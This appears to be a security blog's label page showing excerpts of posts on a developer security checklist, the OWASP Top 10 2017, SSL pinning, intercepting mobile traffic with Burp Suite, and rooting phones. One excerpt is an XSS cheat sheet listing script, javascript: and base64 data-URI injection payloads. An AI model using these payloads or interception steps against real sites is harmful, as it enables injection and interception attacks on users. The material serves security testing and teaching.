Posts

Showing posts with the label Checklist

Security-Guide-For-Developers | Security Checklist

Safety Checklist Authority System (Registration/Registration/Secondary Verification/Password Reset) Use HTTPS everywhere. Use Bcrypt to store password hash (necessary to use salt - this is what Bcrypt does). Destroy the session ID after logging out. Destroy all active sessions after password reset. OAuth2 authentication must include the state parameter. After the login is successful, it cannot be directly redirected to the open path (need to check, otherwise it is easy to have a phishing attack). Parses javascript://, data://, and other CRLF characters when parsing user login/login input. Use secure/httpOnly cookies. When OTP authentication is used on the mobile device, OTP (One Time Password) cannot be returned directly when the generate OTP or Resend OTP API is invoked. (usually by sending a mobile phone to verify SMS, mailbox random code, etc., instead of direct response) Limit the number of API calls such as Login, Verify OTP, Resend OTP, and generate OTP for i...

OWASP TOP 10 – 2017 Released After Four years | Open Web Application Security Project

Image
The Open Web Application Security Project (OWASP) officially released its Top 10 most critical web application security risks. This is the first time the organization has updated the Top 10 since 2013. “Change has accelerated over the last four years, and the OWASP Top 10 needed to change. We’ve completely refactored the OWASP Top 10, revamped the methodology, utilized a new data call process, worked with the community, re-ordered our risks, rewritten each risk from the ground up, and added references to frameworks and languages that are now commonly used,” the OWASP wrote in the Top 10 2017. According to the OWASP, some significant changes over the past couple of years that resulted in an update to the Top 10 include micro-services, single page apps, and the dominance of JavaScript as a primary language on the web. What are the Changes In 2017 SQL injection stays at the top followed by Broken Authentication. Insecure Direct Object References and Missing Function Leve...

Strict SSL Pinning

Image
What is SSL pinning? Why do we need SSL pinning in mobile applications? How to do it? SSL pinning means hard-coding the certificate known to be used by the server in the mobile application. The app can then ignore the device’s trust store and rely on its own, and allow only SSL connections to hosts signed with certificates stored inside the application. This also gives a possibility of trusting a host with a self-signed certificate without the need to install additional certificates on the device.  SSL Pinning on Android: Simplest Way PROS of Certificate Pinning: Increased security  - with pinned SSL certificates, the app is independent of the device’s trust store. Compromising the hard coded trust store in the app is not so easy - the app would need to be decompiled, changed and then recompiled again - and it can’t be signed using the same Android keystore that the original developer of the app used. Reduced costs  - SSL certificate pinning gives you ...

Intercepting Mobile Application Traffic

Image
To intercept mobile application traffic you need to perform MITM attacks. This can be easily done using proxies like Burp Suite, Fiddler, Charles, Paros, etc. I prefer to use burp suite as it is most flexible to use for penetration testing. The below given steps will help you to setup required interception environment:    Install the target application.apk on the mobile device, let’s consider Android device in this case. Now goto Menu à Setting à Wi-Fi Connect to your common Wifi being used by your Mobile device and Laptop. Find the IP address of your laptop using “ifconfig/ipconfig” command. Now in your mobile Wi-Fi, touch-n-hold the connected Wi-Fi and select “Modify Network Check the option “Show advanced options” and under proxy settings select “Manual”. Now enter ·           Proxyhostname: <your laptop IP>                ...

Jailbreaking - Rooting - Developer Unlock Your Mobile

This part focuses on Jailbreaking IOS device, Rooting Android devices and Developer unlocking Windows phones. Rooting Android Device: Rooting your device means to allow application to run with Super User permissions. There are many ways to root your android device. Below are steps to root your android device: Connect your device to computer using data-cable and ensure that Homescreen is unlocked. Download and install the  Kingo Root tool  on your computer. After installation, open the Kingo Root and it will detect you device (and install driers for it if they are missing J ). Click on “Root” to begin patching of binaries. It will take few minutes to root your device. Once successful, then you can install “SuperUser” app on your android device which will allow you to easily grant Root Permission to other application. Note:  If you are trying rooting your NEXUS device, then download  Nexus RootToolkit (NRT) instead of Kingo Tool and enjoy your rooted...

XSS Cheat Sheet

Here we go: use any of it (depending on situation) <script>alert(123)</script> <script>alert("hellox worldss");</script> javascript:alert("hellox worldss") <img src="javascript:alert('XSS');"> <img src=javascript:alert(&quot;XSS&quot;)> <"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> <IFRAME SRC="javascript:alert('XSS');"></IFRAME> <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOn...

Android Client-Side Attacks and Tests

Android Client-Side Attacks and Tests CATEGORY TEST NAME Information Gathering Reverse Engineering the Application Code Testing for Common Libraries and Fingerprinting Enumeration of Application Known Controllers Information Disclosure by Logcat Application Local Storage Flaws Hidden Secrets in the Code Storing Sensitive Data on Shared Storage (exposed to all applications without any restrictions) Cryptographic Based Storage Strength Content Providers Access Permissions Content Providers SQL Injection Privacy and Metadata Leaks IPC Security User Propriety Data in Logcat Technical Valuable Data in Logcat Exposed Components and Cross Application Authorization Permissions & Digital Signature Data Sharing Issues Clipboard Separation Public Intents and Unauthenticated Data Sources Privacy Breaches Public Intents and Authorization Flaws Code Puzzling and Abusing Application State Race Conditions, Deadlocks and Concurrency Threats In Device Denial of Servi...